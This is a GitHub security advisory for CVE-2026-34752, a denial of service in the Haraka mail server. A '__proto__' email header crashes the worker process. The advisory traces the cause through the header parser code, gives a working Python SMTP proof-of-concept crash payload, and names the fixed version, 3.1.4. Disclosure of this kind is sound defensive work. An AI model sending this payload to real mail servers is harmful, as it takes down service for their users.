GHSA-XPH3-R2JF-4VP3
Vulnerability from github – Published: 2026-04-01 22:56 – Updated: 2026-04-06 17:32Summary
Sending an email with __proto__: as a header name crashes the Haraka worker process.
Details
The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:
_add_header(key, value, method) {
this.headers[key] ??= [] // line 216
this.headers[key][method](value) // line 217
}
When key is __proto__:
1. this.headers['__proto__'] returns Object.prototype (the prototype getter)
2. Object.prototype is not null/undefined, so ??= is skipped
3. Object.prototype.push(value) throws TypeError: not a function
The TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):
process.on('uncaughtException', (err) => {
if (err.stack) {
err.stack.split('\n').forEach((line) => logger.crit(line))
} else {
logger.crit(`Caught exception: ${JSON.stringify(err)}`)
}
logger.dump_and_exit(1)
})
PoC
import socket, time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<x@x.com>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<user@haraka.local>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")
Impact
In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3"
},
"package": {
"ecosystem": "npm",
"name": "Haraka"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34752"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T22:56:09Z",
"nvd_published_at": "2026-04-02T19:21:33Z",
"severity": "HIGH"
},
"details": "### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n this.headers[key] ??= [] // line 216\n this.headers[key][method](value) // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers[\u0027__proto__\u0027]` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on(\u0027uncaughtException\u0027, (err) =\u003e {\n if (err.stack) {\n err.stack.split(\u0027\\n\u0027).forEach((line) =\u003e logger.crit(line))\n } else {\n logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n }\n logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:\u003cx@x.com\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:\u003cuser@haraka.local\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.",
"id": "GHSA-xph3-r2jf-4vp3",
"modified": "2026-04-06T17:32:41Z",
"published": "2026-04-01T22:56:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34752"
},
{
"type": "PACKAGE",
"url": "https://github.com/haraka/Haraka"
},
{
"type": "WEB",
"url": "https://github.com/haraka/Haraka/releases/tag/v3.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Haraka affected by DoS via `__proto__` email header"
}
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